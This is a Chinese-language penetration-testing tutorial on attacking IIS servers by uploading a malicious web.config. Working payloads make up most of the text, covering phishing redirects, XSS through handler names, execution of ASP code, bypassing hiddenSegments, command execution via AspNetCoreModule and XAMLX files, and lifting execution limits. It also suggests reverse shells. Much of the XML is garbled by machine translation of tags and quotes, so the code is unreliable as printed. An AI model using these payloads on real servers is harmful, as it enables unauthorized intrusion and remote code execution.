前言本文主要介绍web.config文件在渗透中的作用,可以上传一个web.config时的指南,话不多说,开始正题。首先我们来看一下web.config是什么,援引百度百科的介绍:
关键词:xml文本,.net配置,无需重新启动,这几个特性就决定了其在渗透中的作用,我们来看下具体操作。 本文涉及知识点实操练习:https://www. 以下实验环境为: Windows Server 2008 IIS 7 .net 3.5 具体利用(一)使用web.config进行重定向钓鱼 首先通过实验了解什么是重定向:数据流重定向 http://www./expc.do?ec=ECID172.19.104.182014091814145000001 (数据流重定向就是将某个指令执行后应该要出现在屏幕上的数据,将其传输到其他的地方。) 在iis中有一项为网址重定向也就是用来进行网址重定向的,当我们可以长传一个web.config的时候我们就可以使用这种方式来进行钓鱼攻击,在这里要注意的是,不同的iis版本的配置稍有不同,以本次环境中的iis7为例,假如我们想让目标网站转移到baidu,我们只需要这样写我们的web.config: <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <httpRedirect enabled =“ true” destination =“ https://www.baidu.com/ ” /> </system.webServer> </ configuration> 中间的一行为我们具体实现的代码,即开启重定向并重定向到百度,剩下的都是服务替换的自带的,相当于模板,此时我们访问目标站点,就会替换成baidu了。 而大于等于iis7版本就稍微复杂一些,因为在这之后多了一个网址写功能,其中包含了网址重定向,所以很多开发选择使用这个功能进行操作。我们来看一下,如果为网址写该如何去做。假如我们在网址中写定义了一个规则为:为所有不带斜杠(/)的网址,自动加上斜杠(/),类似下图这样: 那么我们的web.config就会自动生成以下内容: <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <重写> <规则> <rule name =“ AddTrailingSlashRule1” stopProcessing =“ true”> <match url =“(。* [^ /])$” /> <条件> <add input =“ {REQUEST_FILENAME}” matchType =“ IsDirectory” negate =“ true” /> <add input =“ {REQUEST_FILENAME}” matchType =“ IsFile” negate =“ true” /> </ conditions> <action type =“ Redirect” url =“ {R:1} /” /> </ rule> </ rules> </ rewrite> </system.webServer> </ configuration> 看起来有些难懂,下面稍微给大家说一下,首先在url写入分为入站规则(<rules>)和出站规则(<outboundRules>)他们需要写在<system.webServer>的<rewrite>元素内,我们一般钓鱼只考虑入站规则,AddTrailingSlashRule1为一个新的规则名称,可随意定义,若stopProcessing指定为true则若当前请求与规则匹配,则不再匹配其他请求。<match>为进行匹配的url,一般使用正则表达式的形式,而<action>元素告诉IIS如何处理与模式匹配的请求,使用类型属性来进行处理,一般有以下几个: 无; 重写:将请求重写为另一个URL。 重定向:将请求重定向到另一个URL。 CustomResponse:向客户返回自定义响应。 AbortRequest:删除请求的HTTP连接。 而redirectType属性指定要使用永久重定向或临时重新设置。剩下的大家可以查阅msdn上面的手册,写的非常详细。说了这么多,估计大家都能明白怎么去写web.config了,大家一个网址写的web.config钓鱼模板,可自行进行修改: <rule name =“ RedirectToHTTPS” stopProcessing =“ true”> <match url =“(。*)” /> <条件> <add input =“ {HTTPS}” pattern =“ off” ignoreCase =“ true” /> </ conditions> <action type =“ Redirect” url =“ https:// {SERVER_NAME} / {R:1}” redirectType =“ Permanent” /> </ rule> 因为web.config不需要重启服务,所以当我们能够传一个web.config上去的时候,我们也就达到了我们的目的,也有可能运维人员已经写好了一些规则,我们不想贸然惊动动管理者的话,如果此时我们可以上传.shtm或.shtml文件,并使用以下代码来读取web.config的内容。 <!-test.shtml-> <!-#include file =“ / web.config”-> 并根据读取的内容来进行后续操作。 (二)使用web.config进行xss 这是一种比较古老的技术,可以使用web.config的名称属性,来构造一个xss,可以是iis6或其他版本的版本不支持这种攻击,假设我们上传的web.config内容如下: <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <处理程序> <!-通过使用* .config-> XSS <add name =“ web_config_xss&lt; script&gt; alert('xss1')&lt; / script&gt;” path =“ *。config” verb =“ *” modules =“ IsapiModule” scriptProcessor =“ fooo” resourceType =“ Unspecified” requireAccess =“ None” preCondition =“ bitness64” /> <!-通过使用* .test XSS-> <add name =“ test_xss&lt; script&gt; alert('xss2')&lt; / script&gt;” path =“ *。test”动词=“ *” /> </ handlers> <安全性> <requestFiltering> <fileExtensions> <删除fileExtension =“。config” /> </ fileExtensions> <hiddenSegments> <remove segment =“ web.config” /> </ hiddenSegments> </ requestFiltering> </ security> <httpErrors existingResponse =“替换” errorMode =“详细” /> </system.webServer> </ configuration> 则我们访问该文件时重新插入xss (三)使用web.config运行asp代码 这类攻击方法其实也不是什么,很稀奇的技术,因为web.config可以纠正iis服务器,那么我们可以去调用system32 \ inetsrv \ asp.dll文件,达到达到运行任意asp程式的目的。 <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <handlers accessPolicy =“读取,脚本,写入”> <add name =“ web_config” path =“ *。config” verb =“ *” modules =“ IsapiModule” scriptProcessor =“%windir%\ system32 \ inetsrv \ asp.dll” resourceType =“未指定” requireAccess =“写入” preCondition =“ bitness64” /> </ handlers> <安全性> <requestFiltering> <fileExtensions> <删除fileExtension =“。config” /> </ fileExtensions> <hiddenSegments> <remove segment =“ web.config” /> </ hiddenSegments> </ requestFiltering> </ security> </system.webServer> </ configuration> <% Response.write(“-”&“->”) '如果您通过打开web.config文件看到3,它正在运行ASP代码! Response.write(1 + 2) Response.write(“ <!-”&“-”) %> 此时访问文件,可以输出3,运行其他的代码同理哦。 (四)使用web.config绕过过隐藏的段 在iis7以后,微软为了增加其安全性增加了隐藏的段功能对应请求过滤模块,也就是对一些不想让其他人访问的东西进行过滤,在被访问时返回给客户端一个404.8的状态码。一般在web.config中使用<hiddenSegments>来进行指定隐藏的值。有时我们设置了一个文件夹为hiddenSegments,那么在访问时就是下图这种情况。 例如文件夹为_private则对应生成的web.config内容如下 <配置> <system.webServer> <安全性> <requestFiltering> <hiddenSegments applyToWebDAV =“ false”> <add segment =“ _ private” /> </ hiddenSegments> </ requestFiltering> </ security> </system.webServer> </ configuration> 而此时我们可以通过上传web.config的形式,来绕过这种过滤。 <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <安全性> <requestFiltering> <hiddenSegments> <remove segment =“ bin” /> <remove segment =“ App_code” /> <remove segment =“ App_GlobalResources” /> <remove segment =“ App_LocalResources” /> <remove segment =“ App_Browsers” /> <remove segment =“ App_WebReferences” /> <remove segment =“ App_Data” /> <!-其他IIS隐藏段可以在这里列出-> </ hiddenSegments> </ requestFiltering> </ security> </system.webServer> </ configuration> 因为过滤的本质是使用的APP_Data或者App_GlobalResources进行的添加,我们将其删除掉即可。 (五)使用web.config进行rce 这个跟执行asp代码原理上差不多,主要是使用AspNetCoreModule模块去调用cmd进行命令执行。 <?xml版本=“ 1.0”编码=“ utf-8”?> <配置> <system.webServer> <处理程序> <删除名称=“ aspNetCore” /> <add name =“ aspNetCore” path =“ backdoor.me” verb =“ *” modules =“ AspNetCoreModule” resourceType =“ Unspecified” /> </ handlers> <aspNetCore processPath =“ cmd.exe” arguments =“ / c calc” /> </system.webServer> </ configuration> 这个过程通过去访问服务器上的backdoor.me进行触发,因为是在服务端进行执行的,这时候我们可以如调用powershell,来返回一个反向的shell。 (六)使用系统秘钥来反序列化进行rce 这个是一种.net的反序列化操作,有兴趣的朋友可以参考orange师傅在hicton上出的题https://xz.aliyun.com/t/3019 (七)使用web.config启用XAMLX来getshell XAMLX文件一般用于工作流服务,使用消息活动来发送和接收Windows Communication Foundation(WCF)消息的工作流。而我们可以使用该文件进行命令执行,一般有两种方法,一种是反序列化,另一种就是其本身的文件浏览功能在浏览上传的文件时,执行命令。以第二种为例,代码内容如下: <WorkflowService ConfigurationName =“ Service1” Name =“ Service1” xmlns =“ http://schemas.microsoft.com/netfx/2009/xaml/servicemodel ” xmlns:p =“ http://schemas.microsoft.com/netfx/ 2009 / xaml / activities “ xmlns:x =” http://schemas.microsoft.com/winfx/2006/xaml “ xmlns:p1 =” http://schemas.microsoft.com/netfx/2009/xaml/activities “ > <p:Sequence DisplayName =“顺序服务”> <TransactedReceiveScope Request =“ {x:参考__r0}”> <p1:序列> <SendReply DisplayName =“ SendResponse”> <SendReply.Request> <接收x:Name =“ __ r0” CanCreateInstance =“ True” OperationName =“ SubmitPurchasingProposal” Action =“ testme” /> </SendReply.Request> <SendMessageContent> <p1:InArgument x:TypeArguments =“ x:String”> [System.Diagnostics.Process.Start(“ cmd.exe”,“ / c calc”)。toString()] </ p1:InArgument> </ SendMessageContent> </ SendReply> </ p1:序列> </ TransactedReceiveScope> </ p:序列> </ WorkflowService> 发送一个帖子请求即可调用该文件进行命令执行: POST /uploaded.xamlx HTTP / 1.1 主机:192.168.0.105 SOAPAction:testme 内容类型:text / xml 内容长度:94 <s:Envelope xmlns:s =“ http://schemas./soap/envelope/ ”> <s:Body /> </ s:Envelope> 所以我们也可以使用这种方法来进行反弹shell。 但是该文件并非全部开启,若目标服务器启用了WCF服务我们可以使用下面的web.config进行启用此类文件 <?xml版本=“ 1.0”编码=“ UTF-8”?> <配置> <system.webServer> <handlers accessPolicy =“读取,脚本,写入”> <add name =“ xamlx” path =“ *。xamlx” verb =“ *” type =“ System.Xaml.Hosting.XamlHttpHandlerFactory,System.Xaml.Hosting,版本= 4.0.0.0,Culture = neutral,PublicKeyToken = 31bf3856ad364e35” modules =“ ManagedPipelineHandler” requireAccess =“ Script” preCondition =“ integratedMode” /> <add name =“ xamlx-Classic” path =“ *。xamlx” verb =“ *” modules =“ IsapiModule” scriptProcessor =“%windir%\ Microsoft.NET \ Framework64 \ v4.0.30319 \ aspnet_isapi.dll” requireAccess =“脚本“ preCondition =” classicMode,runtimeVersionv4.0,bitness64“ /> </ handlers> <validation validateIntegratedModeConfiguration =“ false” /> </system.webServer> </ configuration> (八)使用web.config绕过执行限制 在一个可读写的目录里无法执行脚本,可以通过上传特殊的web.config文件突破限制。这种方式: <?xml版本=“ 1.0”编码=“ utf-8”?> <配置> <system.webServer> <handlers accessPolicy =“读取,写入,执行,脚本” /> </system.webServer> </ configuration> 发布后即可访问,运行代码。 总结除了这些还有像存储类型xss,json攻击等因为类别限制限制,本人没有在文中指出,有兴趣的可以自行了解。 |
|